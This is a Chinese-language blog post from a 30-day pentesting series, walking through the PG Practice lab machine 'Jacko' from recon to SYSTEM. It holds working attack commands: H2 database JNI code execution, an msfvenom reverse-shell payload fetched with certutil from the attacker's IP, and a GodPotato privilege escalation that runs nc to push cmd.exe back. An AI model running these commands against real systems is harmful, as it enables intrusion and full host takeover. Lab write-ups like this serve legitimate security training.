iT邦幫忙

2025 iThome 鐵人賽

DAY 16
0
Security

滲透探險 30 天:靶機挑戰記系列 第 16

PG Practice: Jacko 攻略

  • 分享至 

  • xImage
  •  

Recon

讓我們看看這系統有甚麼東西
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.105.66 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.105.66 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.105.66 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.105.66 -type recon;

https://ithelp.ithome.com.tw/upload/images/20250929/20178791oWjbetFrbZ.png
http://jacko/html/main.html 在 Port 80 上面開了一個叫做 H2 Database Engine的服務
https://ithelp.ithome.com.tw/upload/images/20250929/201787910zbiyNeq9F.png

http://jacko:8082/login.jsp?jsessionid=7b67a86d8e2e6fe84ea5e5a968087c4c 在 Port 8082上面有個 H2 資料庫的登入介面
查了 一下這個資料庫的預設帳號密碼,看起來 username 是 sa 然後 password 可以不用打
https://ithelp.ithome.com.tw/upload/images/20250929/20178791MKADKZBlQk.png

用了預設帳密可以順利登入成功! 接著就是看看這網站可以提供我們甚麼了
https://ithelp.ithome.com.tw/upload/images/20250929/20178791f7Udib16yI.png

Initial Access

在搜尋跟 H2 databese 相關的弱點時,看到這個 exploit code(https://www.exploit-db.com/exploits/49384). 看起來是用 Java Native Interface (JNI) 去執行指令
而在帶入 command時 我們也確實能拿到 whoami 的結果
https://ithelp.ithome.com.tw/upload/images/20250929/20178791ipdLEJmJNJ.png

現在就是來是看看能不能執行我們的 reverse shell了
先用 msfvenom 去產生一個 shell code 然後利用 JNIScript 去上傳我們的 code 到這台靶機

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.175 LPORT=80 -f exe -o rShell.exe
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("certutil.exe -urlcache -f http://192.168.45.175/rShell.exe C:/Windows/Tasks/rShell.exe").getInputStream()).useDelimiter("\\Z").next()');

https://ithelp.ithome.com.tw/upload/images/20250929/20178791ndAQ7lQeBR.png

本來想確認檔案上傳的狀態,但因為權限不夠的關係,我們沒有辦法確認是否順利上傳成功
所以只能直接執行看是否有reverse shell 反彈回來

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("cmd /c dir C:\Windows\Tasks").getInputStream()).useDelimiter("\\Z").next()');

https://ithelp.ithome.com.tw/upload/images/20250929/20178791FPTNXqGBS0.png

在設定好監聽後 便利用JNIscript去執行我們的 code 然後順利得到一個 reverse shell.
不過這邊有一個問題是環境變數並沒有被設定完整 所以無法直接使用任何 windows 的命令

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:/Windows/Tasks/rShell.exe").getInputStream()).useDelimiter("\\Z").next()');

https://ithelp.ithome.com.tw/upload/images/20250929/20178791lopVfs6DeA.png

PATH 路徑不含 System32

echo %PATH%

https://ithelp.ithome.com.tw/upload/images/20250929/20178791qR9B4UvByZ.png

環境變數設定好後 我們知道現在的身份是Tony 然後可以直接去 Tony 的目錄下面拿到 flag

set PATH=%PATH%;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\; 

https://ithelp.ithome.com.tw/upload/images/20250929/20178791KFhWiV1EF0.png
https://ithelp.ithome.com.tw/upload/images/20250929/20178791u2DjdCRD2c.png

Privilege Escalation

我們去確認一下 Tony 有什麼權限可以使用 這時候我們發現有seImpersonateprivilege enable

whoami /all

https://ithelp.ithome.com.tw/upload/images/20250929/2017879167pdYQzrjr.png

這是一個非常經典的弱點 我們直接上傳 GodPotato 然後執行一個 shell command 連回我們的 Kali
這樣就順利拿到 root 的權限 跟我們的 flag ~
PS. GodPotato https://github.com/BeichenDream/GodPotato

cd C:\Windows\Temp && certutil -urlcache -f http://192.168.45.175:8000/GodPotato-NET4.exe GodPotato-NET4.exe
GodPotato-NET4.exe -cmd ".\nc.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.175 80"

https://ithelp.ithome.com.tw/upload/images/20250929/20178791bo5foicGm4.png
https://ithelp.ithome.com.tw/upload/images/20250929/20178791lXJ3kxRIT1.png


上一篇
PG Practice: Kevin 攻略
系列文
滲透探險 30 天:靶機挑戰記16
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言